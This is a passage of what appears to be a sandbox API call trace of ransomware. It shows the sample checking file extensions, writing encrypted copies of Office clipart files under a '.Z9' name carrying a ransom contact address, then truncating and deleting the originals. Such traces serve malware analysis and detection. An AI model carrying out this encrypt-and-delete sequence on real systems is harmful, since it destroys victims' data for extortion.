	[0084.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.041] lstrlenW (lpString=".ppt") returned 4
	[0084.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.041] lstrlenW (lpString=".zip") returned 4
	[0084.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.041] lstrlenW (lpString=".rar") returned 4
	[0084.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.041] lstrlenW (lpString=".bz2") returned 4
	[0084.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.041] lstrlenW (lpString=".7z") returned 3
	[0084.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.041] lstrlenW (lpString=".dbf") returned 4
	[0084.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.042] lstrlenW (lpString=".1cd") returned 4
	[0084.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.042] lstrlenW (lpString=".jpg") returned 4
	[0084.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.042] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.042] lstrlenW (lpString="BD05119_.WMF") returned 12
	[0084.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.043] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17236) returned 1
	[0084.043] CloseHandle (hObject=0x2bc) returned 1
	[0084.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220
	[0084.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.043] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.044] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.044] GetLastError () returned 0x0
	[0084.044] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4354, lpOverlapped=0x0) returned 1
	[0084.046] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4360, lpOverlapped=0x0) returned 1
	[0084.048] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.048] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.048] SetEndOfFile (hFile=0x39c) returned 1
	[0084.048] CloseHandle (hObject=0x39c) returned 1
	[0084.049] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.049] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.051] CloseHandle (hObject=0x2bc) returned 1
	[0084.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1
	[0084.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.052] lstrlenW (lpString=".doc") returned 4
	[0084.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.052] lstrlenW (lpString=".docx") returned 5
	[0084.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.052] lstrlenW (lpString=".pdf") returned 4
	[0084.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.052] lstrlenW (lpString=".xls") returned 4
	[0084.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.052] lstrlenW (lpString=".xlsx") returned 5
	[0084.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.052] lstrlenW (lpString=".ppt") returned 4
	[0084.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.052] lstrlenW (lpString=".zip") returned 4
	[0084.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.052] lstrlenW (lpString=".rar") returned 4
	[0084.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.052] lstrlenW (lpString=".bz2") returned 4
	[0084.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.052] lstrlenW (lpString=".7z") returned 3
	[0084.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.052] lstrlenW (lpString=".dbf") returned 4
	[0084.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.052] lstrlenW (lpString=".1cd") returned 4
	[0084.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.053] lstrlenW (lpString=".jpg") returned 4
	[0084.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.053] lstrlenW (lpString=".doc") returned 4
	[0084.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.053] lstrlenW (lpString=".docx") returned 5
	[0084.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.053] lstrlenW (lpString=".pdf") returned 4
	[0084.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.053] lstrlenW (lpString=".xls") returned 4
	[0084.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.053] lstrlenW (lpString=".xlsx") returned 5
	[0084.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.053] lstrlenW (lpString=".ppt") returned 4
	[0084.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.053] lstrlenW (lpString=".zip") returned 4
	[0084.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.053] lstrlenW (lpString=".rar") returned 4
	[0084.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.053] lstrlenW (lpString=".bz2") returned 4
	[0084.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.053] lstrlenW (lpString=".7z") returned 3
	[0084.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.054] lstrlenW (lpString=".dbf") returned 4
	[0084.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.054] lstrlenW (lpString=".1cd") returned 4
	[0084.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0084.054] lstrlenW (lpString=".jpg") returned 4
	[0084.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.054] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.054] lstrlenW (lpString="BD06102_.WMF") returned 12
	[0084.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.054] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=16112) returned 1
	[0084.054] CloseHandle (hObject=0x2bc) returned 1
	[0084.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220
	[0084.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.055] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.055] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.055] GetLastError () returned 0x0
	[0084.055] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x3ef0, lpOverlapped=0x0) returned 1
	[0084.059] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3f00, lpOverlapped=0x0) returned 1
	[0084.060] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.060] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.061] SetEndOfFile (hFile=0x39c) returned 1
	[0084.061] CloseHandle (hObject=0x39c) returned 1
	[0084.062] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.062] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.063] CloseHandle (hObject=0x2bc) returned 1
	[0084.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1
	[0084.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.064] lstrlenW (lpString=".doc") returned 4
	[0084.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.064] lstrlenW (lpString=".docx") returned 5
	[0084.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.064] lstrlenW (lpString=".pdf") returned 4
	[0084.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.064] lstrlenW (lpString=".xls") returned 4
	[0084.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.064] lstrlenW (lpString=".xlsx") returned 5
	[0084.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.064] lstrlenW (lpString=".ppt") returned 4
	[0084.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.065] lstrlenW (lpString=".zip") returned 4
	[0084.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.065] lstrlenW (lpString=".rar") returned 4
	[0084.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.065] lstrlenW (lpString=".bz2") returned 4
	[0084.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.065] lstrlenW (lpString=".7z") returned 3
	[0084.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.065] lstrlenW (lpString=".dbf") returned 4
	[0084.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.065] lstrlenW (lpString=".1cd") returned 4
	[0084.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.065] lstrlenW (lpString=".jpg") returned 4
	[0084.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.065] lstrlenW (lpString=".doc") returned 4
	[0084.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.065] lstrlenW (lpString=".docx") returned 5
	[0084.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.065] lstrlenW (lpString=".pdf") returned 4
	[0084.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.066] lstrlenW (lpString=".xls") returned 4
	[0084.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.066] lstrlenW (lpString=".xlsx") returned 5
	[0084.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.066] lstrlenW (lpString=".ppt") returned 4
	[0084.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.066] lstrlenW (lpString=".zip") returned 4
	[0084.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.066] lstrlenW (lpString=".rar") returned 4
	[0084.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.066] lstrlenW (lpString=".bz2") returned 4
	[0084.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.066] lstrlenW (lpString=".7z") returned 3
	[0084.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.066] lstrlenW (lpString=".dbf") returned 4
	[0084.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.066] lstrlenW (lpString=".1cd") returned 4
	[0084.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0084.066] lstrlenW (lpString=".jpg") returned 4
	[0084.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.066] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.067] lstrlenW (lpString="BD06200_.WMF") returned 12
	[0084.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.067] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=16676) returned 1
	[0084.067] CloseHandle (hObject=0x2bc) returned 1
	[0084.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220
	[0084.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.067] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.067] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.068] GetLastError () returned 0x0
	[0084.068] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4124, lpOverlapped=0x0) returned 1
	[0084.545] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4130, lpOverlapped=0x0) returned 1
	[0084.554] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.554] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.554] SetEndOfFile (hFile=0x39c) returned 1
	[0084.554] CloseHandle (hObject=0x39c) returned 1
	[0084.555] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.555] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.556] CloseHandle (hObject=0x2bc) returned 1
	[0084.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1
	[0084.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.557] lstrlenW (lpString=".doc") returned 4
	[0084.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.557] lstrlenW (lpString=".docx") returned 5
	[0084.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.557] lstrlenW (lpString=".pdf") returned 4
	[0084.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.557] lstrlenW (lpString=".xls") returned 4
	[0084.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.557] lstrlenW (lpString=".xlsx") returned 5
	[0084.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.557] lstrlenW (lpString=".ppt") returned 4
	[0084.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.557] lstrlenW (lpString=".zip") returned 4
	[0084.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.557] lstrlenW (lpString=".rar") returned 4
	[0084.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.557] lstrlenW (lpString=".bz2") returned 4
	[0084.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.557] lstrlenW (lpString=".7z") returned 3
	[0084.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.557] lstrlenW (lpString=".dbf") returned 4
	[0084.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.558] lstrlenW (lpString=".1cd") returned 4
	[0084.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.558] lstrlenW (lpString=".jpg") returned 4
	[0084.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.558] lstrlenW (lpString=".doc") returned 4
	[0084.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString=".docx") returned 5
	[0084.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.558] lstrlenW (lpString=".pdf") returned 4
